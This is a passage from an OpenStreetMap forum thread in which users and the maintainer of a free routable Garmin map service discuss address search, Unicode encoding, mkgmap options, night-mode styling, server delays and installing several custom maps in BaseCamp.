Yes. There is other compiler, but it's not free.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.08.2014 11:06 · [flux]
gamapr wrote:
I see it everywhere in Canada...
Does it make a difference if you put the maps on an external SD card?
- Re: Worldwide routable Garmin maps: URL REMOVED · gamapr (Gast) · 22.08.2014 17:54 · [flux]
I don't have a SD card to try it. I bought another map at the end (which works fine)...
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 28.08.2014 12:42 · [flux]
In conjunction with this topic....
http://forum.openstreetmap.org/viewtopic.php?id=16232Is it advisable to have primary roads non routable if you select no highways in your routing options on older devices?
And would this just be a dutch problem or could you expand this to the rest of the densely populated world?
- Re: Worldwide routable Garmin maps: URL REMOVED · GRi (Gast) · 28.08.2014 12:55 · [flux]
Could it be that currently "natural water" is missing in OpenFietsMapLite from garmin.openstreetmap.nl?
In a version from 2014-04-25 I dó see these waters, in later versions they are missing (Basecamp, Mapsource, gps). - Re: Worldwide routable Garmin maps: URL REMOVED · Zian Choy (Gast) · 01.09.2014 02:48 · [flux]
I see a lot of old posts talking about problems with address searches so I was wondering if searching for a specific house number on a given street is still not possible.
I can search for some addresses just fine on my Garmin Nuvi 265W but that other addresses don't work. Yet, in terms of data, all the ones I've searched for are already in OpenStreetMap.
Example failing address:
3880 Valley Centre Drive
San Diego, CAExample good address:
322 Encinitas Boulevard
Encinitas, CA - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 01.09.2014 04:26 · [flux]
It seems that the failing address has not been mapped as an address, so it's not in the map. A search on OSM only finds a hardware store with this address. I don't think that is sufficient for the address to be mapped correctly.
However, in Germany way 37986013 housenumbers can't be found in Mapsource, but can be in OSM and the numbers have mapped addresses.
I suspect that number searching is still an experimental feature. I can see a problem here in that OSM maps numbers to points or buildings, but in Garmin's map format the numbers have to be mapped onto the roads and must be in ranges.
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 01.09.2014 10:03 · [flux]
Zian Choy wrote:
Example failing address:
3880 Valley Centre Drive
San Diego, CAThis address in OSM data is described as 3880 Valley Center Dr, while the road is Valley Center Drive. On Garmin map addresses are a part of a road. Since roads names don't match, compiler is not able to attach address to a road and as a result you can't find it.
- Re: Worldwide routable Garmin maps: URL REMOVED · Zian Choy (Gast) · 10.09.2014 06:20 · [flux]
not mapped as an address
Would you mind elaborating? I'm not sure what you mean for something to be mapped "as an address".
mapped onto roads and ranges
Ah, that explains a lot such as how the GPS can seem to know where buildings go that didn't exist back when the device was purchased.
road names don't match
Good point; unfortunately, the problem happens even when the names match. Example:
4627 Carmel Mountain Road
San Diego, CAI guess Beddhist is probably right that it is basically an experimental feature.
Thank you for the well thought out responses.
On a completely separate note...
Where do I start debugging if it seems a freeway exit is being announced as "Exit to Exit 3B" (number is made up) on Garmin rather than "Exit to Blah Street" or "Exit to Blah Street and Foo Street"? The motorway junction already has an exit_to tag that looks something like "Blah Street; Foo Street".
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 10.09.2014 13:06 · [flux]
Zian Choy wrote:
4627 Carmel Mountain Road
San Diego, CAThis one exist, when compiling a map with default style.
- Re: Worldwide routable Garmin maps: URL REMOVED · Mafketel (Gast) · 16.09.2014 20:30 · [flux]
... The new servers ARE REALLY fast, at least the que is gone 😉 and rendering is quick enough. I was expecting to wait for a couple of days but now it is done in 1,5 hour 😬 😄
Sorry for the big download... some serious driving on a still to be bought moto to be done soon 😉 file is here and could be removed.
p.s. I don't know what storage hardware you are using now and I don't really have any funds lying around. And I suppose you have considered the options already and don't need somebody else questions 😉
But considering the oeps 600gb remark, only local storage needed, only transient data(not really critical only kept 48hours anyway) and the fact I do have some experience in hardware(both enterprise and budget), is there something I can do?
More then:
sometimes wonder if I am doing something wrong.
Or that I am really happy with the improvements.(pm or email is fine, but I read here as well)
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.09.2014 14:46 · [flux]
Yes, there is some overcapacity again which allows me to dream of new functionality (only time is not permitting to implement them at the moment).
Some of the servers use local storage, some use a SAN e.g. MSA2000 (I believe), the servers are previously shutdown hardware and I gladly accepted anything useful that was offered to me. Currently there is no need for any new capacity (and I don't have the time to configure new servers).
I don't understand what you mean by "wondering if I am doing something wrong"?
- Re: Worldwide routable Garmin maps: URL REMOVED · AmZaf (Gast) · 20.10.2014 20:00 · [flux]
Dear Lambertus,
I downloaded and installed maps for Iran from your site. Unfortunately, your Garmin maps suffer from a major flaw: Place names in non-Latin characters are not rendered properly. This makes the Iran map unusable for the most parts.
To further investigate the problem, I tried to compile the OSM data manually for Garmin. I found that the problem lies in the default code page setting assumed by mkgmap. You just need to instruct the program to default to Unicode encoding by passing the option --code-page=65001. Unicode support seems to have been added in the latest versions of mkgmap. I can confirm that the unicode map displays correctly on GPSMAP 62s (firmware version 2.80).
Could you at least rebuild your maps in Unicode for countries where non-Latin languages are used? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.10.2014 22:17 · [flux]
@Lambertus,
Latest map releases are routed through barriers like bollards, gates etc
This is probably caused by a mssing --link-pois-to-ways option in the mkgmap setting.
Can you check this and other options (see my mail)?@AmZaf, I'm not sure unicode is supported by older devices, can anybody confirm this?
- Re: Worldwide routable Garmin maps: URL REMOVED · uougaard (Gast) · 13.11.2014 22:44 · [flux]
Thank you for this fantastic service :-)
I am curious about the address search in my Garmin (Oregon 650) device and in Mapsource for Danish Addresses (example: Kvikmarken 16, Gladsaxe Municipality). The addresses have proper house numbers (addr:housenumber) and street names (addr:street) in OSM, but with the Generic Routable map, all addresses on the road are found on the same place (mostly at one end of the road), whereas with the routable Bicycle map the address is found in exactly the right place. Is there any good explanation?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 14.11.2014 10:16 · [flux]
It is caused by a missing setting of --housenumbers in the configuration file. Thanks for noticing this Uougaard!
Lambertus, can you correct this (as well as the other settings like --link-pois-to-ways I mentioned earlier)? - Re: Worldwide routable Garmin maps: URL REMOVED · emmexx (Gast) · 04.12.2014 15:30 · [flux]
Probably this has already been asked in the past but I couldn't find an answer.
I downloaded the osm_generic (Generic routable) map of Italy.
The map is good but the address search has a great problem since italian addresses start with the type of the way and not with the name. If in english you write (and type) Main Street in Italy we write Via (Street) Principale (Main). As a result I have to know in advance if the way is a street, a square, an avenue and so on.
Is it possible to create a search database of the map (or whatever it is called) that ignores the more common way type names so that I can write "Main" and get a list of ways that start with Main, apart from the way type name?Thank you
maxx - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.12.2014 16:47 · [flux]
Excuse me but I dont understand your question. If the type of the way is on the OSM map, you must enter it in the search too. For instance if you look for Via X on your Garmin you have to type in the search Via X. Searching for simply X does not find the streets in your Garmin. I dont understand what you mean by "Main".
- Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 04.12.2014 17:18 · [flux]
I don't know if this is a mkgmap issue, or a stylesheet issue:
I have discovered that several routes in Brazil is broken due to oneway=-1 is treated equal as oneway=true and oneway=yes, while a oneway=-1 should be treated as a oneway in opposite direction. I have tried to relate this problem to mkgmap developers without success.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.12.2014 18:31 · [flux]
Skippern wrote:
I have tried to relate this problem to mkgmap developers without success.
I can't find your question on http://www.mail-archive.com/mkgmap-dev@ … /info.html
Can you send me the link? - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 04.12.2014 19:23 · [flux]
ligfietser wrote:
Excuse me but I dont understand your question. If the type of the way is on the OSM map, you must enter it in the search too. For instance if you look for Via X on your Garmin you have to type in the search Via X. Searching for simply X does not find the streets in your Garmin. I dont understand what you mean by "Main".
He is using Main St as a hypothetical example. Translated it is Via Principale. In English we have road, avenue, crescent, lane and a few more. This is what he refers to as type. It seems common for Italians to know the name part, but not the type.
I believe the problem is with Garmin only searching from the beginning of the name string. Users of Spanish, Thai and no doubt many other users have the same problem.
- Re: Worldwide routable Garmin maps: URL REMOVED · muralito (Gast) · 04.12.2014 19:25 · [flux]
ligfietser wrote:
Excuse me but I dont understand your question. If the type of the way is on the OSM map, you must enter it in the search too. For instance if you look for Via X on your Garmin you have to type in the search Via X. Searching for simply X does not find the streets in your Garmin. I dont understand what you mean by "Main".
It's a usability problem. The street can only be found if you search for complete name. The problem is that you don't always know the way qualifier ("St." "Av.", ...) or how the contributor wrote it in OSM, and in other languages like spanish the qualifier is before the name.
There is some work in progress to solve or avoid the problem in the following South America map. http://www.i-nis.com.ar/osm/garmin (scripts to make the map are GPL)
- Re: Worldwide routable Garmin maps: URL REMOVED · emmexx (Gast) · 04.12.2014 21:36 · [flux]
Beddhist wrote:
He is using Main St as a hypothetical example. Translated it is Via Principale. In English we have road, avenue, crescent, lane and a few more. This is what he refers to as type. It seems common for Italians to know the name part, but not the type.
You are correct.
It's not only a problem of trying if a way is defined as street, road and so on. In Italy the common name tag value of OSM is of the form: type of the way / name / surname
e.g. Viale Dante Alighieri, Via George Washington, Piazza del Duomo. So in order to match a way you have to know in advance the type of the way (street, avenue...) the name and everything that is in the OSM name tag value in the correct order. That can be a daunting enterprise.Beddhist wrote:
I believe the problem is with Garmin only searching from the beginning of the name string.
Here you are not correct. In my old Nuvi 205 if I use the Garmin maps I can enter Dante, Alighieri, George, Washington, Duomo and I get a list of results. If I do the same with an OSM map, 99% of the times I get No Matches Found. 🙁
Isn't it possible to create all the (reasonable) combinations of the parts of the name and add all of them to the index search?
For Via Dante Alighieri you would add:
Via Dante
Via Alighieri
Via Dante Alighieri
Dante
Alighieri
Dante AlighieriThank you
maxx - Re: Worldwide routable Garmin maps: URL REMOVED · emmexx (Gast) · 04.12.2014 22:12 · [flux]
muralito wrote:
There is some work in progress to solve or avoid the problem in the following South America map. http://www.i-nis.com.ar/osm/garmin (scripts to make the map are GPL)
Thank you, I downloaded the source and will try to adapt it to the italian naming rules.
bye
maxx - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.12.2014 11:41 · [flux]
Thanks Maxx I understand the problem now. This index search problem is a longer existing mkgmap issue.
Popej just posted a possible fix to deal with this problem on the mkgmap dev list, so maybe this can be solved soon:
http://gis.19327.n5.nabble.com/multi-wo … l#a5826288 - Re: Worldwide routable Garmin maps: URL REMOVED · Sieds & Tamara (Gast) · 05.12.2014 16:35 · [flux]
Hi,
Do you heave any idea when a new version of the map is available?
Cheers,
Sieds
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.12.2014 20:07 · [flux]
The generic_new map is already updated, the other two are expected to come online in a day.
Edit: no, only the update for OFM lite is still running.
- Re: Worldwide routable Garmin maps: URL REMOVED · Sieds & Tamara (Gast) · 06.12.2014 10:51 · [flux]
Thanx for the good work!!
- Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 07.12.2014 13:12 · [flux]
ligfietser wrote:
Skippern wrote:
I have tried to relate this problem to mkgmap developers without success.
I can't find your question on http://www.mail-archive.com/mkgmap-dev@ … /info.html
Can you send me the link?I wasn't able to post the question due to unstable internet connection and obscure links
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.12.2014 18:30 · [flux]
We'll be happy to relay your question
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 10.12.2014 10:08 · [flux]
I'm getting some questions about installing more then one custom map alongside each other on Windows (BaseCamp). I'm not too familiar with this process, so I'd like feedback on the workflow so I can update the wiki FAQ.
This is what I've done:
1) request a custom map using the website (OSM generic routable) and download the Windows installer.
2) install the custom map
3) run JaVaWa's GMTK
3.1) select the map named 'OSM generic routable' and goto menu 'Extra' -> 'Change map name and ID'
4) GMTK will show a form and the following values are changed:
4.1) Family ID: enter a unique number, e.g.: 2001
4.2) Name on computer: enter a good description of the map, e.g.: 'OSM Central America'
4.3) Name on device: enter a good description, e.g.: 'OSM Central America'
4.4) Folder name: enter a good (unique) folder name, e.g.: 'OSM Central America'
4.5) Click on the 'modify' buttonFor every new custom map the same sequence of events is performed, each time using a new unique ID and name.
This process seems straightforward enough to me. However, when I install the second custom map, the map installer will warn that there is already a map installed. This warning can safely be ignored but it is confusing to a lot of users. What can be done to prevent this warning?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 10.12.2014 13:30 · [flux]
I think the problem is that GMTK doesnt remove the map installer when updating the map data.
So there are two options, adjust GMTK or adjust the custom map procedure by letting the user enter a unique FID and name before generating the map. Maybe contact Javawa by pm to discuss this? - Re: Worldwide routable Garmin maps: URL REMOVED · AmZaf (Gast) · 11.12.2014 09:14 · [flux]
ligfietser wrote:
@Lambertus,
Latest map releases are routed through barriers like bollards, gates etc
This is probably caused by a mssing --link-pois-to-ways option in the mkgmap setting.
Can you check this and other options (see my mail)?@AmZaf, I'm not sure unicode is supported by older devices, can anybody confirm this?
Is it possible for you to provide the maps in two encodings? This way you have maintained compatibility with older devices while the users who need Unicode maps can download them from here. Unicode support is a serious issue and affects the bulk of OSM data being developed in Asia. Imagine local street names in Arabic, Persian, Chinese, Korean, Japanese, ... Older and incompatible devices are unusable for these regions anyways.
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 11.12.2014 11:28 · [flux]
Free Unicode maps won't work in newer devices like Edge 1000, GPSMAP 64, some recent models of nuvi. It looks like Garmin decided, that all Unicode maps should be digitally signed, which can't be done with 3-rd party tools.
- Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 18.12.2014 21:41 · [flux]
Hi,
first of all: Thanks for the great maps!
I recently tried the "new style" on my Nüvi 1255. During daytime everything is very nice, but the night-mode looks ugly - there are many black areas along with even more almost white areas. Can I do something about this, maybe using a dedicated typ file?Another remark: I'd appreciate a style with a few less details, e.g. I don't need every single house in an urban area rendered. This would help with older and slower devices like mine.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 18.12.2014 23:05 · [flux]
The night mode is totally undeveloped so any volunteers who want to improve this feel free to help.
You can edit the typ file with tools like typviewer and typwiz.
The typ file you can find in the metadata folder of the download link.
In order to change the typ file of the map on your device, you can use typchanger - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 19.12.2014 09:31 · [flux]
Mueschel, just set your device to day mode only and it will be fine. You may want to turn down the brightness at night...
- Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 20.12.2014 11:50 · [flux]
typviewer seems to be a fairly easy tool to change colors. But, typchanger doesn't work at all. After adding the files and clicking 'change', it just displays 'Done', but there is absolutely no change made to the map file. Do you have any advice how to debug this or another tool to accomplish the task?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 20.12.2014 13:21 · [flux]
Dont know why it doesnt work, maybe contact Javawa or try Popej's gmaptool?
- Re: Worldwide routable Garmin maps: URL REMOVED · mueschel (Gast) · 20.12.2014 16:26 · [flux]
Thanks, gmaptool works fine. I changed some of the colors for night mode. For sure the result is not perfect, e.g. I did not manage to remove the white outline of paths and unpaved roads in night mode - my device seems to ignore this setting. Anyways, the result seems much more pleasing than the default colors. I uploaded the changed typ-file in case anyone is interested: http://osm.mueschelsoft.de/24276.typ
- Re: Worldwide routable Garmin maps: URL REMOVED · uougaard (Gast) · 20.12.2014 16:41 · [flux]
Great:
The issue I reported on 13th of November (http://forum.openstreetmap.org/viewtopi … 74#p463274) regarding address (house number) searches seems to be solved. In new downloaded maps, the address search really finds the relevant house number in its place.
Thanks once more
- Re: Worldwide routable Garmin maps: URL REMOVED · emmexx (Gast) · 22.12.2014 22:12 · [flux]
Lambertus wrote:
The generic_new map is already updated, the other two are expected to come online in a day.
Edit: no, only the update for OFM lite is still running.
Sorry if I go back to your post of 2 weeks ago.
I wonder if you were referring to a generic update of the maps or to an update to solve the problem I asked about in my post, that is searching addresses.
I tried Garmux, a script that creates maps using a search index that includes also the last word in the name tag and it works fine. The code is similar to http://www.i-nis.com.ar/osm/garmin.Thank you
maxx - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.12.2014 14:16 · [flux]
No Maxx that is still not implemented, although mkgmap developers are working on it as well (see this thread).
Lambertus was replying post #2280. - Re: Worldwide routable Garmin maps: URL REMOVED · emmexx (Gast) · 27.12.2014 11:47 · [flux]
I'm not sure if this kind of problem is supposed to be discussed in this thread, if I'm wrong suggest where to post it.
I downloaded the generic new file of Italy last week, gmapsupp.img and installed it on my garmin nuvi 205.
Yesterday I entered a destination for my wife. Unfortunately I didn't check the path created by the nuvi and after a few minutes she called me upset because the navigator sent her to the wrong highway.At this Osrm link you can see the right track: http://osrm.at/atS
This is the track suggested by nuvi: http://osrm.at/atVI tried the same start-destination track with different navigators and only the nuvi 205 gives the wrong result.
OSM data seem to be ok.What happened?
Thank you
maxx - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 27.12.2014 19:35 · [flux]
Looking at the OSM data I can't see any problem or any reason why any navigator should route you the long way. I have seen this kind of behaviour before and suspect it's a firmware bug in the Nuvi, especially since you say that others work ok.
First step: check that your firmware is up-to-date. You should have the latest version loaded.
Also, check that you don't have any other maps loaded covering the same area, e.g. Garmin CNNT. If you do have one, make sure it is unchecked (disabled) and if that is already the case you should disable it completely by renaming the map file and re-test.
Failing all that, you can try reporting this to Garmin, but since we are dealing with non-Garmin maps don't hold your breath.
Cheers,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 28.12.2014 02:48 · [flux]
emmexx wrote:
I tried the same start-destination track with different navigators and only the nuvi 205 gives the wrong result.
OSM data seem to be ok.What happened?
Thank you
maxxAlso, check to see if the settings on your Nuvi are preventing use of tollroads or other "avoidances" (U-turns, car pool lanes, etc.). I always un-check all of these in the routing profile on my Montana and then after the route is computed, check it carefully to see if there's something I want to avoid or want to use a different highway. I don't want the Montana to 'think" for me because it often makes bad decisions.
Cheers,
Dave
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 28.12.2014 10:21 · [flux]
Please bear in mind that every GPS device could have a bad GPS signal and therefore calculate its position way off from the spot where you actually are. This could have caused those unwanted detours, especially on motorways with different lanes and lock on road on. So one should always double check the road signs when riding or driving when the Garmin suggest you should go to direction X, NEVER follow its advice without thinking.
- Re: Worldwide routable Garmin maps: URL REMOVED · emmexx (Gast) · 28.12.2014 22:50 · [flux]
Beddhist wrote:
Looking at the OSM data I can't see any problem or any reason why any navigator should route you the long way. I have seen this kind of behaviour before and suspect it's a firmware bug in the Nuvi, especially since you say that others work ok.
First step: check that your firmware is up-to-date. You should have the latest version loaded.
The firmware is the same that I used with the previous data file (one month old).
Beddhist wrote:
Also, check that you don't have any other maps loaded covering the same area, e.g. Garmin CNNT. If you do have one, make sure it is unchecked (disabled) and if that is already the case you should disable it completely by renaming the map file and re-test.
Only the OSM map was checked.
AlaskaDave wrote:
Also, check to see if the settings on your Nuvi are preventing use of tollroads or other "avoidances" (U-turns, car pool lanes, etc.)
All the usual avoidances values checked, nothing changed from the last file I downloaded.
ligfietser wrote:
Please bear in mind that every GPS device could have a bad GPS signal and therefore calculate its position way off from the spot where you actually are.
The problem is there even if I "simulate" the route when gps is off.
The problem is even worse than what I initially reported using the osrm routing.
After the detour and the "u-turn" the route is not what is in the osrm link I posted. The route leaves the highway and follows an almost straight line to destination but there are no straight roads. I suspect the file is corrupt. I'll try the download it again and I'll let you know.Thank you
maxx - Re: Worldwide routable Garmin maps: URL REMOVED · rowin63 (Gast) · 08.01.2015 23:50 · [flux]
Lambertus wrote:
I'm getting some questions about installing more then one custom map alongside each other on Windows (BaseCamp). I'm not too familiar with this process, so I'd like feedback on the workflow so I can update the wiki FAQ.
This is what I've done:
1) request a custom map using the website (OSM generic routable) and download the Windows installer.
2) install the custom map
3) run JaVaWa's GMTK
3.1) select the map named 'OSM generic routable' and goto menu 'Extra' -> 'Change map name and ID'
4) GMTK will show a form and the following values are changed:
4.1) Family ID: enter a unique number, e.g.: 2001
4.2) Name on computer: enter a good description of the map, e.g.: 'OSM Central America'
4.3) Name on device: enter a good description, e.g.: 'OSM Central America'
4.4) Folder name: enter a good (unique) folder name, e.g.: 'OSM Central America'
4.5) Click on the 'modify' buttonFor every new custom map the same sequence of events is performed, each time using a new unique ID and name.
This process seems straightforward enough to me. However, when I install the second custom map, the map installer will warn that there is already a map installed. This warning can safely be ignored but it is confusing to a lot of users. What can be done to prevent this warning?
Hi, my name is Robert;
I´m gone through this process and modified the names (computer/device/folder).
At the next installation of a custom map this renamed custom map was overwritten and did not work (it was not listed in Mapsource) anymore.
Then I found out, that in the windows registry (W7/64) the key - after the renaming - still is "OSM generic routable" (HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\OSM generic routable). And so the new installation overwrites the previous installation.I also renamed the registry keys in uninstall information, then everything looked good: in Mapsource and in W7 everywhere was "my map name".
But at the next installation of a custom map "my map name" disappeared from Mapsource and a new "OSM generic routable" was shown. The funny thing is, after deinstalling this new "OSM generic routable", "my map name" was back again!?!I dont know wat goes wrong here, but for me it is not possible to install more than one custom map...
Robert
- Re: Worldwide routable Garmin maps: URL REMOVED · Skippern (Gast) · 10.01.2015 02:01 · [flux]
Would it be possible to ask for download of entire continent? In my particular case I am looking for a South America map, currently downloading Brazil, Uruguay, Argentina and Chile as separate maps, but have problems sending them to the device as they become too large. There are extremely much duplicated information in such a selection, i.e. Brazil also include most of Uruguay, Paraguay, Bolivia, a large part of Suriname, Guiana, a good portion of Venezuela, Colombia and Peru. Argentina almost all of Chile, a large part of Paraguay and Uruguay and some of Bolivia and Brazil, Chile extends somewhat into Argentina and a little bit in Peru.
My map installer complains of disc space as each of the maps I try to install combined are a little larger than the memory available, but I believe that combined if you ignore the duplicated tiles there should be enough space.
Another question is, for devices with limited memory, or people needing to update frequently on slow lines, what about smaller divisions, doesn't North America and Europe allow per-state or per-region downloads? What about Brazil and Argentina, would it be possible to download these in separate pieces for each state?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 10.01.2015 05:02 · [flux]
Why not download a custom map containing all the tiles you need?
- Re: Worldwide routable Garmin maps: URL REMOVED · chris66 (Gast) · 13.01.2015 13:51 · [flux]
Hi,
Entering email Adress not possible on the site? - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 13.01.2015 15:13 · [flux]
chris66 wrote:
Hi,
Entering email Adress not possible on the site?Thanks for the report, I can confirm it doesn't work at the moment. Investigating...
- Re: Worldwide routable Garmin maps: URL REMOVED · artlocks (Gast) · 14.01.2015 04:06 · [flux]
Where is the download or request link? I get as far as the step below but can't find any request or download button?
Help: Using country pre-selections Request your map or download it directly:
(Make a selection first)I see the correct tiles are selected but how do I request these?
I am just trying to get a routable map of the Dominican Republic on my computer (mapsource).
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 14.01.2015 05:22 · [flux]
Lambertus, the web page is broken. The message "Make a selection first" does not disappear after choosing a country or individual tiles.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.01.2015 21:32 · [flux]
Thanks all above for the reports. I think the problem has been fixed now.
Try clearing your browser cache (ctrl-F5) if you still experience the problem. Please leave a message if the problem still persists after that.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 14.01.2015 21:58 · [flux]
Yes, that is all good now.
Shouldn't that be a "force page reload" (Shift-reload or Shift-F5), depending on browser?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 14.01.2015 22:42 · [flux]
I don't know, ctrl-F5 has always worked for me 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · Philatsea (Gast) · 15.01.2015 03:35 · [flux]
While the problem may be fixed it is taking forever to get a custom map downloaded.
I selected the tiles and entered my email address and was told I was number 7 in the que and the wait was 45 minutes, that was 6 hours ago and now I just checked and I am now up to #2 in the que and no time available.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 15.01.2015 09:23 · [flux]
Philatsea wrote:
While the problem may be fixed it is taking forever to get a custom map downloaded.
I selected the tiles and entered my email address and was told I was number 7 in the que and the wait was 45 minutes, that was 6 hours ago and now I just checked and I am now up to #2 in the que and no time available.
Is the server involved by any chance osm2.pleiades.uni-wuppertal.de?
edit:
I just read an email informing me that the RAID-array of one of the other servers was degraded (sfs4). Maybe that contributed to the long wait. - Re: Worldwide routable Garmin maps: URL REMOVED · Philatsea (Gast) · 15.01.2015 23:43 · [flux]
Yes it was
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 16.01.2015 09:22 · [flux]
Philatsea wrote:
Yes it was
Ok. There is a problem with this server (memory leak somewhere) which requires a reboot now and then to prevent heavy swapping. The last reboot was a bit too long ago causing a slowdown in map production.
- Re: Worldwide routable Garmin maps: URL REMOVED · gkoper (Gast) · 17.01.2015 02:52 · [flux]
Beddhist wrote:
Lambertus, the web page is broken. The message "Make a selection first" does not disappear after choosing a country or individual tiles.
Maybe related ...
On 11 January I received the message that my map was being built with current status
<http://osm2.pleiades.uni-wuppertal.de/g … b1634958c6>
and now it tells me I should have received an email where I did not.Should I try again?
Thanks for the help in advance,
Ger
- Re: Worldwide routable Garmin maps: URL REMOVED · harenber (Gast) · 17.01.2015 16:57 · [flux]
gkoper wrote:
On 11 January I received the message that my map was being built with current status
<http://osm2.pleiades.uni-wuppertal.de/g … b1634958c6>
and now it tells me I should have received an email where I did not.Should I try again?
There are tons of reasons why the mail hasn't arrived (spam filters, typo in the address, ...)
Queues are empty, so just give it another try.
Cheers!
- Re: Worldwide routable Garmin maps: URL REMOVED · hartmut2801 (Gast) · 11.02.2015 04:48 · [flux]
moin,
i´ve found probs by the downlods for garmin:
oseam_ng_atlantic_equatorial_ms.zip fehlt, is linket with oseam_ng_carribean_ms.zip das ist zwar korrekt aber irreführend, weil beim download die meldung kommt: datei bereits vorhanden. schmeisst die zeile "atlantik äquatorial west" besser raus.
oseam_ng_atlantic_equatorial_ms.zip missing is velinkt with oseam_ng_carribean_ms.zip which is indeed correct but misleading, because the download the message comes: file already exists. throws out the line "atlantic equatorial west" better.atlantik us nord = us west coast + ...ms, bezeichnug ist falsch, us-atlantik ist ostküste
atlantik us nord = us west coast + ...ms, description of product is incorrect, us-atlantic is east coastby
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 11.02.2015 08:23 · [flux]
Hartmut, I'm sorry, but are you sure you've got those maps from http://garmin.openstreetmap.nl ?
- Re: Worldwide routable Garmin maps: URL REMOVED · hartmut2801 (Gast) · 11.02.2015 13:10 · [flux]
moin,
ups, i´ve forgotten the link.
http://wiki.openstreetmap.org/wiki/DE:O … rt_plotterby
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 11.02.2015 13:51 · [flux]
It's the OpenSeaMap which has a separate forum completely dedicated to it: http://forum.openseamap.org/
Better ask there... - Re: Worldwide routable Garmin maps: URL REMOVED · rowin63 (Gast) · 12.02.2015 11:30 · [flux]
Lambertus wrote:
I'm getting some questions about installing more then one custom map alongside each other on Windows (BaseCamp). I'm not too familiar with this process, so I'd like feedback on the workflow so I can update the wiki FAQ.
This is what I've done:
1) request a custom map using the website (OSM generic routable) and download the Windows installer.
2) install the custom map
3) run JaVaWa's GMTK
3.1) select the map named 'OSM generic routable' and goto menu 'Extra' -> 'Change map name and ID'
4) GMTK will show a form and the following values are changed:
4.1) Family ID: enter a unique number, e.g.: 2001
4.2) Name on computer: enter a good description of the map, e.g.: 'OSM Central America'
4.3) Name on device: enter a good description, e.g.: 'OSM Central America'
4.4) Folder name: enter a good (unique) folder name, e.g.: 'OSM Central America'
4.5) Click on the 'modify' buttonFor every new custom map the same sequence of events is performed, each time using a new unique ID and name.
This process seems straightforward enough to me. However, when I install the second custom map, the map installer will warn that there is already a map installed. This warning can safely be ignored but it is confusing to a lot of users. What can be done to prevent this warning?
Hi Lambertus!
Your question
Lambertus wrote:
What can be done to prevent this warning?
should be "what has to be done" - because with your procedure I always end up in deleting the first custom map when installing a second custom map. Until now I never was able to install more than one custom map.
Changing the mentioned settings with GMTK is not enough. Also the windows registry keys in the uninstall section have to be modified. I renamed the folder as well as the display name key from "OSM generic routable" to the same name I used in GMTK. Then every custom installation is shown correctly in the windows uninstall information. And only now it is possible to install more than one custom map. And also this warning "that there is already a map installed" does not appear anymore.Greetings,
Robert - Re: Worldwide routable Garmin maps: URL REMOVED · opasto (Gast) · 12.02.2015 21:32 · [flux]
Changing the mentioned settings with GMTK is not enough. Also the windows registry keys in the uninstall section have to be modified. I renamed the folder as well as the display name key from "OSM generic routable" to the same name I used in GMTK. Then every custom installation is shown correctly in the windows uninstall information. And only now it is possible to install more than one custom map. And also this warning "that there is already a map installed" does not appear anymore.
I dont understand, why you dont use a much simpler procedure of using maps: It needs only a free USB Slot, in which a USB Stick is installed whith a subfolder Garmin. In this subfolder I copy the maps *.img . In the moment I have 14 different maps (some of the same area but with or without contourlines) with together 13 GB of Data: All this maps are shown in the maps list of basecamp without unreasonabel delay . (Only if a map is shown the first time it needs may be a minute to read it.) Another benefit: if I want to use my Laptop, I pull out the USB Stick from my desktop, introduce it into the laptop and have immediately the same maps on my Laptop.
So my Question: What is the benefit of your procedure to install the maps directly on the computer with the need to modify the registry? - Re: Worldwide routable Garmin maps: URL REMOVED · rowin63 (Gast) · 13.02.2015 09:27 · [flux]
Hi!
I followed this description because it was given.
But it has that limitation. And I figured out a workaround - which is simple, once you know it.
Your idea is a good thing too, but I prefere installed maps and no handling with a stick, being around with a notebook.Robert
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.02.2015 09:52 · [flux]
